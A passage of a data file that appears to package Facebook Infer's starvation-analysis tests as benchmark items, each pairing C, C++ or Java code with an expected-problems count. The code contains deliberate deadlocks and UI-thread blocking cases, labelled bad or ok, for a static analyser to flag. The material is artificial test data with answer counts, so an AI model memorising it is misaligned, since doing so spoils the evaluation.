"interproc_dedup.c", + "testlanguage": "c", + "expected-problems": 6, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nstruct FakeMut {\n int blah;\n};\nvoid pthread_mutex_lock(struct FakeMut*);\nvoid pthread_mutex_unlock(struct FakeMut*);\n\nstruct FakeMut dedup_m1;\nstruct FakeMut dedup_m2;\n\n/*\n * This might deadlock or might not, depending on functions\n * direct_one_way_bad and indirect_one_way_bad always being run on the\n * same thread or not.\n *\n * --starvation-whole-program assumes these can run in parallel\n */\n\nint direct_one_way_bad() {\n pthread_mutex_lock(&dedup_m1);\n pthread_mutex_lock(&dedup_m2);\n pthread_mutex_unlock(&dedup_m2);\n pthread_mutex_unlock(&dedup_m1);\n return 0;\n}\n\nvoid indirect_one_way_bad() {\n direct_one_way_bad();\n}\n\nint main() {\n pthread_mutex_lock(&dedup_m2);\n indirect_one_way_bad();\n pthread_mutex_unlock(&dedup_m2);\n return 0;\n}\n" + }, + { + "testname": "nested_unbalanced_locks.c", + "testlanguage": "c", + "expected-problems": 14, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nstruct FakeMut {\n int blah;\n};\nvoid pthread_mutex_lock(struct FakeMut*);\nvoid pthread_mutex_lock1(struct FakeMut*);\nvoid pthread_mutex_unlock(struct FakeMut*);\n\nstruct FakeMut m1;\nstruct FakeMut m2;\n\nvoid lock_m1() { pthread_mutex_lock(&m1); }\nvoid unlock_m1() { pthread_mutex_unlock(&m1); }\n\nstruct Ctx {\n int some_data;\n};\n\nstruct Ctx ctx;\nstruct Ctx ctx2;\nvoid lock_m2(struct Ctx* c) { pthread_mutex_lock(&m2); }\n\n// spec: C: 0, H: m1, U: 0\nvoid wrap_lock_m1() {\n // A: 0, H: 0, U: 0\n lock_m1(); // lock(m1)\n // A: {m1}, H: {m1}, U: 0\n // C: {0, {m1}}\n // C \\ H: 0, H: 0, U: 0\n}\n\nvoid wrap_unlock_m1() { pthread_mutex_unlock(&m1); }\n\nvoid wrap_lock_m2(struct Ctx* c) { lock_m2(&ctx); }\n\nvoid wrap_unlock_m2() { pthread_mutex_unlock(&m2); }\n// This should deadlock with direct_m2_m1(), but the analysis needs to\n// see lock_m1() acquires the lock and apply that interprocedurally\n// spec: C: {0, m1}, {{m1}, m2}}, H: 0, U: 0\nint nested_unbalanced_lock() {\n // A: 0, H: 0, U: 0\n wrap_lock_m1(); // lock(m1);\n // A: {m1}, H: {m1}, U: 0\n wrap_lock_m2(&ctx2);\n // A: {m1, m2}, H: {m1, m2}, U: 0\n wrap_unlock_m2();\n // A: {m1, m2}, H: {m1}, U: 0\n wrap_unlock_m1();\n // A: {m1, m2}, H: 0, U: 0\n // C: {{0, m1}, {{m2}, m1}}\n\n return 0;\n}\n\nint direct_m2_m1_lock() {\n pthread_mutex_lock(&m2);\n pthread_mutex_lock(&m1);\n pthread_mutex_unlock(&m1);\n pthread_mutex_unlock(&m2);\n return 1;\n}\n" + }, + { + "testname": "unbalanced_locks.c", + "testlanguage": "c", + "expected-problems": 9, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nstruct AMutex {\n int blah;\n};\nvoid pthread_mutex_lock(struct AMutex*);\nvoid pthread_mutex_lock1(struct AMutex*);\nvoid pthread_mutex_unlock(struct AMutex*);\n\nstruct AMutex m1;\nstruct AMutex m2;\n\nvoid lock_m1_wrap() { pthread_mutex_lock(&m1); }\nvoid unlock_m1_wrap() { pthread_mutex_unlock(&m1); }\n\n// This should deadlock with direct_m2_m1(), but the analysis needs to\n// see lock_m1() acquires the lock and apply that interprocedurally\nint simple_unbalanced_lock() {\n lock_m1_wrap();\n pthread_mutex_lock(&m2);\n pthread_mutex_unlock(&m2);\n pthread_mutex_unlock(&m1);\n return 0;\n}\n\nint balanced_m2_m1_lock() {\n pthread_mutex_lock(&m2);\n pthread_mutex_lock(&m1);\n pthread_mutex_unlock(&m1);\n pthread_mutex_unlock(&m2);\n return 1;\n}\n\n// This shouldn't deadlock, because m1 and m2 are never held togehter\n// But the analysis must see unlock_m1 unlocks m1, otherwise it would\n// report deadlock\nint indirect_unlock_m1() {\n pthread_mutex_lock(&m1);\n unlock_m1_wrap();\n pthread_mutex_lock(&m2);\n return 1;\n}\n" + }, + { + "testname": "basics.cpp", + "testlanguage": "c++", + "expected-problems": 34, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nnamespace basics {\n\nclass Basic {\n public:\n Basic() {}\n\n // deadlock between thread1_bad() and thread2_bad()\n void thread1_bad() {\n mutex_1.lock();\n mutex_2.lock();\n\n mutex_2.unlock();\n mutex_1.unlock();\n }\n\n void thread2_bad() {\n mutex_2.lock();\n mutex_1.lock();\n\n mutex_1.unlock();\n mutex_2.unlock();\n }\n\n private:\n std::mutex mutex_1;\n std::mutex mutex_2;\n};\n\nclass WithGuard {\n public:\n WithGuard() {}\n\n // deadlock between thread1_bad() and thread2_bad()\n void thread1_bad() {\n std::lock_guard lock1(mutex_1);\n std::lock_guard lock2(mutex_2);\n }\n\n void thread2_bad() {\n std::lock_guard lock2(mutex_2);\n std::lock_guard lock1(mutex_1);\n }\n\n private:\n std::mutex mutex_1;\n std::mutex mutex_2;\n};\n\nclass DeferredGuard {\n public:\n DeferredGuard() {}\n\n // NO deadlock between thread1_bad() and thread2_bad()\n void thread1_ok() {\n std::unique_lock lock1(mutex_1, std::defer_lock);\n std::unique_lock lock2(mutex_2);\n }\n\n void thread2_ok() {\n std::lock_guard lock2(mutex_2);\n std::lock_guard lock1(mutex_1);\n }\n\n private:\n std::mutex mutex_1;\n std::mutex mutex_2;\n};\n\nclass StdLock {\n public:\n StdLock() {}\n\n // no reports, std::lock magically avoids deadlocks\n void foo_ok() {\n std::lock(mutex_1, mutex_2);\n mutex_1.unlock();\n mutex_2.unlock();\n }\n\n void bar_ok() {\n std::lock(mutex_2, mutex_1);\n mutex_2.unlock();\n mutex_1.unlock();\n }\n\n private:\n std::mutex mutex_1;\n std::mutex mutex_2;\n};\n\nclass SelfDeadlock {\n public:\n SelfDeadlock() {}\n\n void thread_bad() {\n mutex_.lock();\n mutex_.lock();\n mutex_.unlock();\n mutex_.unlock();\n }\n\n void interproc2_bad() { std::lock_guard lock(mutex_); }\n\n void interproc1_bad() {\n std::lock_guard lock(mutex_);\n interproc2_bad();\n }\n\n void foo_ok() {\n { std::lock_guard lock(mutex_); }\n int i = 0;\n { std::lock_guard lock(mutex_); }\n }\n\n void bar_ok() {\n std::unique_lock lock1(mutex_, std::defer_lock);\n std::lock_guard lock2(mutex_);\n }\n\n void complicated_bad() {\n std::unique_lock lock1(mutex_, std::defer_lock);\n std::lock_guard lock2(mutex_);\n lock1.lock();\n }\n\n private:\n std::mutex mutex_;\n};\n\nclass PathSensitive {\n public:\n void FP_ok() {\n std::lock_guard l(mutex_);\n bool flag = false;\n\n if (flag) {\n std::lock_guard l(mutex_);\n }\n }\n\n private:\n std::mutex mutex_;\n};\n} // namespace basics\n" + }, + { + "testname": "crossfile-1.cpp", + "testlanguage": "c++", + "expected-problems": 2, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \"crossfile-1.h\"\n\n// a deadlock should be reported here\nvoid CrossFileOne::lock_my_mutex_first_then_the_other(CrossFileTwo* other) {\n _mutex.lock();\n other->just_lock_my_mutex();\n _mutex.unlock();\n}\n\nvoid CrossFileOne::just_lock_my_mutex() {\n _mutex.lock();\n _mutex.unlock();\n}\n" + }, + { + "testname": "crossfile-2.cpp", + "testlanguage": "c++", + "expected-problems": 2, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \"crossfile-2.h\"\n\n// a deadlock should be reported here\nvoid CrossFileTwo::lock_my_mutex_first_then_the_other(CrossFileOne* other) {\n _mutex.lock();\n other->just_lock_my_mutex();\n _mutex.unlock();\n}\n\nvoid CrossFileTwo::just_lock_my_mutex() {\n _mutex.lock();\n _mutex.unlock();\n}\n" + }, + { + "testname": "guarded_interprocedural_locks.cpp", + "testlanguage": "c++", + "expected-problems": 3, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \nstd::mutex mtx1;\nstd::mutex mtx2;\n\nvoid mtx1_mtx2() {\n std::unique_lock g1(mtx1);\n std::unique_lock g2(mtx2);\n}\n\nstd::unique_lock lock_with_unique() {\n return std::unique_lock(mtx2);\n}\n\nvoid unlock_lck(std::unique_lock& l) { l.unlock(); }\n\n// This test is meant to demostrate that starvation\n// doesn't work with guards. It's not supposed to deadlock\n// becuase guard is unlocked with unlock_lck(g1), but guards\n// aren't tracked interprocredurally, so this doesn't work.\n// For now, we just disabled guarded locks in interprocedural setting\n// to fix this issue\n\nvoid mtx2_mtx1() {\n auto g1 = lock_with_unique();\n unlock_lck(g1);\n std::unique_lock g2(mtx1);\n // Need to unlock here, because otherwise mtx2 is unbalanced and\n // it would be filtered due to that\n mtx2.unlock();\n}\n" + }, + { + "testname": "recursive.cpp", + "testlanguage": "c++", + "expected-problems": 7, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nstruct UnknownMutex {\n UnknownMutex() {}\n\n void lock() {}\n\n void unlock() {}\n\n UnknownMutex(const UnknownMutex&) = delete;\n UnknownMutex& operator=(const UnknownMutex&) = delete;\n};\n\nclass Recursive {\n public:\n Recursive() {}\n\n void multi_ok() {\n std::lock_guard l(recursive_mutex_);\n { std::lock_guard l(recursive_mutex_); }\n }\n\n void unknown_ok() {\n std::lock_guard l(umutex_);\n { std::lock_guard l(umutex_); }\n }\n\n private:\n std::recursive_mutex recursive_mutex_;\n UnknownMutex umutex_;\n};\n" + }, + { + "testname": "skip.cpp", + "testlanguage": "c++", + "expected-problems": 18, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\n// the deadlocks here are masked by the starvation-skip-analysis option in\n// .inferconfig\nnamespace skipped {\nclass Skip {\n public:\n Skip() {}\n\n void skipped_ok() { private_deadlock(); }\n\n void not_skipped_bad() { private_deadlock(); }\n\n private:\n std::mutex mutex_;\n\n void private_deadlock() {\n std::lock_guard l(mutex_);\n { std::lock_guard l(mutex_); }\n }\n};\n\ntemplate \nclass SkipTemplate {\n private:\n T* a_;\n std::mutex mutex_;\n\n void private_deadlock() {\n std::lock_guard l(mutex_);\n { std::lock_guard l(mutex_); }\n }\n\n public:\n void skipped_ok() { private_deadlock(); }\n\n void not_skipped_bad() { private_deadlock(); }\n};\n\nclass UseTemplate {\n public:\n void foo() {\n x.skipped_ok();\n x.not_skipped_bad();\n }\n\n private:\n SkipTemplate x;\n};\n\n} // namespace skipped\n" + }, + { + "testname": "AsyncTaskGet.java", + "testlanguage": "java", + "expected-problems": 8, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport android.os.AsyncTask;\nimport android.support.annotation.UiThread;\nimport java.util.concurrent.ExecutionException;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.TimeoutException;\n\nclass AsyncTaskGet {\n CountTask task;\n Object lock;\n\n @UiThread\n void taskGetOnUiThreadBad() throws InterruptedException, ExecutionException {\n task.get();\n }\n\n @UiThread\n void taskGetWithTimeoutOnUiThreadOk()\n throws TimeoutException, InterruptedException, ExecutionException {\n task.get(1000, TimeUnit.NANOSECONDS);\n }\n\n @UiThread\n void lockOnUiThreadBad() {\n synchronized (lock) {\n }\n }\n\n void taskGetUnderLock() throws InterruptedException, ExecutionException {\n synchronized (lock) {\n task.get();\n }\n }\n\n void taskGetonBGThreadOk() throws InterruptedException, ExecutionException {\n task.get();\n }\n}\n\nclass CountTask extends AsyncTask {\n protected Long doInBackground(Integer... ints) {\n long totalSize = 0;\n for (int i = 0; i < ints.length; i++) {\n totalSize += ints[i];\n if (isCancelled()) break;\n }\n return totalSize;\n }\n}\n" + }, + { + "testname": "Binders.java", + "testlanguage": "java", + "expected-problems": 18, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport android.content.Context;\nimport android.media.AudioManager;\nimport android.net.ConnectivityManager;\nimport android.net.wifi.WifiManager;\nimport android.os.Binder;\nimport android.os.RemoteException;\nimport android.support.annotation.UiThread;\nimport android.view.Display;\n\nclass Binders {\n Binder b;\n\n void doTransact() throws RemoteException {\n b.transact(0, null, null, 0);\n }\n\n void doOneWayTransact() throws RemoteException {\n b.transact(0, null, null, 1);\n }\n\n // assert happens after bad call so thread status is still unknown\n void FN_interBad() throws RemoteException {\n b.transact(0, null, null, 0);\n forceMainThread();\n }\n\n void interBad() throws RemoteException {\n forceMainThread();\n b.transact(0, null, null, 0);\n }\n\n void intraBad() throws RemoteException {\n OurThreadUtils.assertMainThread();\n doTransact();\n }\n\n @UiThread\n void annotationBad() throws RemoteException {\n doTransact();\n }\n\n void intraOk() throws RemoteException {\n b.transact(0, null, null, 0);\n }\n\n void interOk() throws RemoteException {\n doTransact();\n }\n\n void oneWayOk() throws RemoteException {\n OurThreadUtils.assertMainThread();\n doOneWayTransact();\n }\n\n void forceMainThread() {\n OurThreadUtils.assertMainThread();\n }\n\n @UiThread\n void getActiveNetworkInfoBad(ConnectivityManager c) {\n c.getActiveNetworkInfo();\n }\n\n @UiThread\n int doGetStreamVolumeBad(AudioManager a) {\n return a.getStreamVolume(0);\n }\n\n @UiThread\n int doGetRingerModeBad(AudioManager a) {\n return a.getRingerMode();\n }\n\n @UiThread\n int doCheckPermissionBad(Context c) {\n return c.checkPermission(\"\", 0, 0);\n }\n\n @UiThread\n int doCheckSelfPermissionBad(Context c) {\n return c.checkSelfPermission(\"\");\n }\n\n @UiThread\n void doGetConnectionInfoBad(WifiManager w) {\n w.getConnectionInfo();\n }\n\n @UiThread\n void doGetRealSizeBad(Display d) {\n d.getRealSize(null);\n }\n}\n" + }, + { + "testname": "Countdwn.java", + "testlanguage": "java", + "expected-problems": 5, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport android.support.annotation.UiThread;\nimport java.util.concurrent.CountDownLatch;\n\nclass Countdwn {\n CountDownLatch latch;\n\n void awaitOnMainByCallBad() throws InterruptedException {\n OurThreadUtils.assertMainThread();\n latch.await();\n }\n\n @UiThread\n void awaitOnMainByAnnotBad() throws InterruptedException {\n latch.await();\n }\n\n void countDownOk() throws InterruptedException {\n OurThreadUtils.assertMainThread();\n latch.countDown();\n }\n\n void awaitOnAnyThreadOk() throws InterruptedException {\n latch.await();\n }\n}\n" + }, + { + "testname": "FutureGet.java", + "testlanguage": "java", + "expected-problems": 12, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport android.support.annotation.UiThread;\nimport com.google.common.base.Preconditions;\nimport java.util.concurrent.ExecutionException;\nimport java.util.concurrent.Future;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.TimeoutException;\n\nclass FutureGet {\n Future future;\n Object lock;\n\n @UiThread\n void getDirectBad() throws InterruptedException, ExecutionException {\n future.get();\n }\n\n @UiThread\n void getIndirectBad() {\n synchronized (lock) {\n }\n }\n\n void getUnderLock() throws InterruptedException, ExecutionException {\n synchronized (lock) {\n future.get();\n }\n }\n\n void getOnOtherThreadOk() throws InterruptedException, ExecutionException {\n future.get();\n }\n\n @UiThread\n void getTimeoutOneDayBad() throws InterruptedException, ExecutionException {\n try {\n future.get(1L, TimeUnit.DAYS);\n } catch (TimeoutException e) {\n }\n }\n\n @UiThread\n void getTimeoutOneSecondOk() throws InterruptedException, ExecutionException {\n try {\n future.get(1L, TimeUnit.SECONDS);\n } catch (TimeoutException e) {\n }\n }\n\n @UiThread\n void getTimeoutOneHourBad() throws InterruptedException, ExecutionException {\n try {\n future.get(1L, TimeUnit.HOURS);\n } catch (TimeoutException e) {\n }\n }\n\n @UiThread\n void getTimeoutFourSecondsOk() throws InterruptedException, ExecutionException {\n try {\n future.get(4L, TimeUnit.SECONDS);\n } catch (TimeoutException e) {\n }\n }\n\n @UiThread\n void getTimeout4999MilliSecondsOk() throws InterruptedException, ExecutionException {\n try {\n future.get(4999L, TimeUnit.MILLISECONDS);\n } catch (TimeoutException e) {\n }\n }\n\n @UiThread\n void getTimeout50000001MicroSecondsBad() throws InterruptedException, ExecutionException {\n try {\n future.get(5000001L, TimeUnit.MICROSECONDS);\n } catch (TimeoutException e) {\n }\n }\n\n @UiThread\n void getTimeout64BitsBad() throws InterruptedException, ExecutionException {\n try {\n future.get(9223372036854775807L, TimeUnit.MICROSECONDS);\n } catch (TimeoutException e) {\n }\n }\n\n @UiThread\n Object sensitivityOnIsDoneOk() throws InterruptedException, ExecutionException {\n if (future.isDone()) {\n return future.get();\n } else {\n return null;\n }\n }\n\n @UiThread\n Object getFuturesDoneOk(Future future) throws InterruptedException, ExecutionException {\n Preconditions.checkState(future.isDone());\n return future.get();\n }\n\n Object assertNotOnUIThreadOk(Future future)\n throws InterruptedException, ExecutionException {\n Preconditions.checkArgument(!OurThreadUtils.isMainThread());\n return future.get();\n }\n}\n" + }, + { + "testname": "IndirectBlock.java", + "testlanguage": "java", + "expected-problems": 10, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport android.os.Binder;\nimport android.os.RemoteException;\nimport android.support.annotation.UiThread;\n\nclass IndirectBlock {\n Object expensiveLock;\n Binder binder;\n\n void takeExpensiveLockOk() {\n synchronized (expensiveLock) {\n }\n }\n\n @UiThread\n void takeExpensiveLockOnUiThreadBad() {\n synchronized (expensiveLock) {\n }\n }\n\n void doTransactUnderLock() throws RemoteException {\n synchronized (expensiveLock) {\n binder.transact(0, null, null, 0);\n }\n }\n\n @UiThread\n void takeRemoteExpensiveLockOnUiThreadBad(IndirectInterproc i) {\n i.takeLock();\n }\n}\n\nclass IndirectInterproc {\n public synchronized void takeLock() {}\n\n public synchronized void doTransactUnderLock(Binder binder) throws RemoteException {\n binder.transact(0, null, null, 0);\n }\n}\n" + }, + { + "testname": "InnerClass.java", + "testlanguage": "java", + "expected-problems": 10, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nclass InnerClass {\n // shouldn't be flagged\n // we don't know that [a.this$0 == this] and even if it were\n // this will simply lock this twice\n synchronized void outerInnerOk(InnerClassA a) {\n a.lockOuter();\n }\n\n synchronized void lockOuter() {}\n\n // following is flagged currently but shouldn't\n // we don't known that [a.this$0 == this]!\n synchronized void FP_outerInnerOk(InnerClassA a) {\n a.lockInner();\n }\n\n class InnerClassA {\n void lockOuter() {\n synchronized (InnerClass.this) {\n }\n }\n\n void outerInnerOk() {\n synchronized (InnerClass.this) {\n InnerClass.this.lockOuter();\n }\n }\n\n synchronized void lockInner() {}\n\n synchronized void innerOuterBad() {\n InnerClass.this.lockOuter();\n }\n\n // constructors generate different access paths so test these too\n // TODO these tests do not generate yet different access paths to the above :(\n\n // following should not be flagged -- it's a double lock on [this.this$0]\n InnerClassA() {\n synchronized (InnerClass.this) {\n InnerClass.this.lockOuter();\n }\n }\n\n // following would be flagged with outerInnerBad but should not\n // because [this] is not accessible yet to any other thread!\n InnerClassA(Object o) {\n synchronized (this) {\n InnerClass.this.lockOuter();\n }\n }\n }\n}\n" + }, + { + "testname": "Interclass.java", + "testlanguage": "java", + "expected-problems": 12, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nclass Interclass {\n synchronized void interclass1Bad(InterclassA a) {\n a.interclass1Bad();\n }\n\n synchronized void interclass2Bad() {}\n\n synchronized void interclass1Ok(InterclassB b) {\n b.interclass1Ok();\n }\n\n void interclass2Ok(InterclassB b) {\n synchronized (b) {\n }\n }\n\n void reentrantOk(InterclassB b) {\n synchronized (this) {\n synchronized (b) {\n b.interclass1Ok();\n }\n }\n }\n}\n\nclass InterclassA {\n synchronized void interclass1Bad() {}\n\n synchronized void interclass2Bad(Interclass i) {\n i.interclass2Bad();\n }\n}\n\nclass InterclassB {\n synchronized void interclass1Ok() {}\n\n void interclass2_ok(Interclass c) {\n synchronized (c) {\n c.interclass2Ok(this);\n }\n }\n}\n" + }, + { + "testname": "Interproc.java", + "testlanguage": "java", + "expected-problems": 13, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nclass Interproc {\n synchronized void lockThisThenParamBad(InterprocA a) {\n lockParamA(a);\n }\n\n void lockParamA(InterprocA b) {\n synchronized (b) {\n }\n }\n\n synchronized void lockThisThenParamOk(InterprocB a) {\n lockParamB(a);\n }\n\n void lockParamB(InterprocB b) {\n synchronized (b) {\n }\n }\n\n void lockThisTwiceOk(InterprocB b) {\n synchronized (this) {\n synchronized (b) {\n lockThis();\n }\n }\n }\n\n synchronized void lockThis() {}\n}\n\nclass InterprocA {\n synchronized void lockThisThenParamBad(Interproc c) {\n lockParam(c);\n }\n\n void lockParam(Interproc d) {\n synchronized (d) {\n }\n }\n}\n\nclass InterprocB {\n void lockParamThenThisOk(Interproc c) {\n synchronized (c) {\n lockThis(c);\n }\n }\n\n synchronized void lockThis(Interproc d) {}\n}\n" + }, + { + "testname": "Intraproc.java", + "testlanguage": "java", + "expected-problems": 8, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nclass Intraproc {\n void intraBad(IntraprocA o) {\n synchronized (this) {\n synchronized (o) {\n }\n }\n }\n\n void intraOk(IntraprocB o) {\n synchronized (this) {\n synchronized (o) {\n }\n }\n }\n\n void reentrantOk(IntraprocB b) {\n synchronized (this) {\n synchronized (b) {\n synchronized (this) {\n }\n }\n }\n }\n}\n\nclass IntraprocA {\n void intraBad(Intraproc o) {\n synchronized (this) {\n synchronized (o) {\n }\n }\n }\n}\n\nclass IntraprocB {\n void intraOk(Intraproc o) {\n synchronized (o) {\n synchronized (this) {\n }\n }\n }\n}\n" + }, + { + "testname": "JavaIO.java", + "testlanguage": "java", + "expected-problems": 8, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport android.support.annotation.UiThread;\nimport java.io.DataInputStream;\nimport java.io.DataOutputStream;\nimport java.io.FileReader;\nimport java.io.FileWriter;\nimport java.io.IOException;\n\nclass JavaIO {\n FileReader reader;\n DataInputStream inputStream;\n FileWriter writer;\n DataOutputStream outputStream;\n\n int doFileRead() throws IOException {\n return reader.read();\n }\n\n String doStreamRead() throws IOException {\n return inputStream.readUTF();\n }\n\n @UiThread\n void FN_fileReadBad() throws IOException {\n doFileRead();\n }\n\n @UiThread\n void FN_streamReadBad() throws IOException {\n doStreamRead();\n }\n\n @UiThread\n void writerMethodsOk() throws IOException {\n writer = new FileWriter(\"bla\");\n writer.write('a');\n writer.append('b');\n String enc = writer.getEncoding();\n }\n\n @UiThread\n void readerMethodsOk() throws IOException {\n reader = new FileReader(\"bla\");\n String enc = reader.getEncoding();\n reader.markSupported();\n reader.reset();\n reader.close();\n }\n\n @UiThread\n void outputStreamMethodsOk() throws IOException {\n outputStream.write('a');\n outputStream.size();\n }\n\n @UiThread\n void inputStreamMethodsOk() throws IOException {\n inputStream.available();\n inputStream.reset();\n inputStream.close();\n }\n}\n" + }, + { + "testname": "LazyInit.java", + "testlanguage": "java", + "expected-problems": 7, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport android.os.Binder;\nimport android.os.RemoteException;\nimport android.support.annotation.UiThread;\n\nclass LazyInit {\n Binder b;\n\n void doTransact() {\n try {\n b.transact(0, null, null, 0);\n } catch (RemoteException e) {\n }\n }\n\n Object init() {\n doTransact();\n return new Object();\n }\n\n @UiThread\n Object baselineBad() {\n return init();\n }\n\n Object f;\n\n @UiThread\n void normalLazyOk() {\n if (f == null) {\n f = init();\n }\n }\n\n Object g;\n\n @UiThread\n void notLazyInitBad() {\n if (g == null) {\n f = init();\n }\n }\n\n @UiThread\n void notEqualsLazyOk() {\n if (f != null) {\n } else {\n f = init();\n }\n }\n\n @UiThread\n void negatedEqualsLazyOk() {\n if (!(f == null)) {\n } else {\n f = init();\n }\n }\n\n @UiThread\n void lazyFirstOk() {\n if (f == null) {\n doTransact();\n f = new Object();\n }\n }\n}\n" + }, + { + "testname": "LegacySync.java", + "testlanguage": "java", + "expected-problems": 2, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport android.support.annotation.UiThread;\nimport java.util.Hashtable;\nimport java.util.concurrent.ExecutionException;\nimport java.util.concurrent.Future;\n\nclass LegacySync {\n Hashtable table;\n Future future;\n\n void notOnUiThreadSyncedBad() throws InterruptedException, ExecutionException {\n synchronized (table) {\n future.get();\n }\n }\n\n @UiThread\n Object onUiThreadOpBad() {\n return table.get(\"blabla\");\n }\n}\n" + }, + { + "testname": "LocalLock.java", + "testlanguage": "java", + "expected-problems": 3, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nclass LocalLock {\n Object lock1, lock2;\n\n Object getLock1() {\n return lock1;\n }\n\n void localLockOuterOk() {\n synchronized (getLock1()) {\n synchronized (this) {\n }\n }\n }\n\n Object getLock2() {\n return lock2;\n }\n\n void localLockInnerOk() {\n synchronized (this) {\n synchronized (getLock2()) {\n }\n }\n }\n}\n" + }, + { + "testname": "LocklessTests.java", + "testlanguage": "java", + "expected-problems": 20, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport com.facebook.infer.annotation.Lockless;\n\nclass LocklessTests {}\n\ninterface Listener {\n @Lockless\n void locklessMethod();\n\n void normalMethod();\n}\n\nclass LocklessTestsA implements Listener {\n // should warn\n @Override\n public void locklessMethod() {\n synchronized (this) {\n }\n }\n\n // no warnings here\n @Override\n public void normalMethod() {\n synchronized (this) {\n }\n }\n}\n\nclass LocklessTestsB implements Listener {\n // should warn\n @Lockless\n @Override\n public synchronized void locklessMethod() {}\n\n // no warnings here\n @Override\n public synchronized void normalMethod() {}\n}\n\nclass LocklessTestsC implements Listener {\n private synchronized void takeLock() {}\n\n // should warn\n @Override\n public void locklessMethod() {\n takeLock();\n }\n\n // no warnings here\n @Override\n public synchronized void normalMethod() {}\n}\n" + }, + { + "testname": "LockSensitivity.java", + "testlanguage": "java", + "expected-problems": 10, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n// Tests documenting FPs and FNs due to lack of sensitivity in starvation analysis\n\nimport java.util.concurrent.locks.Lock;\n\nclass LockSensitivity {\n Lock lockA, lockB;\n\n // In the following two methods, AB vs BA deadlock pattern\n // remains undetected since one of the locks happens via `tryLock` and result check.\n\n public void FN_tryLockDeadlockAB_Bad() {\n boolean locked = lockA.tryLock();\n if (locked) {\n lockB.lock();\n lockB.unlock();\n lockA.unlock();\n } else {\n }\n }\n\n public void FN_tryLockDeadlockBA_Bad() {\n lockB.lock();\n lockA.lock(); // deadlock: `lockA` may be locked via `tryLock()` above\n lockA.unlock();\n lockB.unlock();\n }\n\n // Asserting a lock is held is not the same as taking it wrt deadlocks.\n // In the following two methods, AB vs BA pattern correctly not reported\n // because the locks/unlocks would not be balanced within the method\n\n Object monitorA, monitorB;\n\n public void assertHoldsLockAB_Ok() {\n OurThreadUtils.assertHoldsLock(monitorA);\n OurThreadUtils.assertHoldsLock(monitorB);\n }\n\n public void assertHoldsLockBA_Ok() {\n OurThreadUtils.assertHoldsLock(monitorB);\n OurThreadUtils.assertHoldsLock(monitorA);\n }\n}\n" + }, + { + "testname": "MainThreadTest.java", + "testlanguage": "java", + "expected-problems": 5, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport android.os.Binder;\nimport android.support.annotation.MainThread;\n\nclass MainThreadTest {\n Binder b;\n\n void doTransact() {\n try {\n b.transact(0, null, null, 0);\n } catch 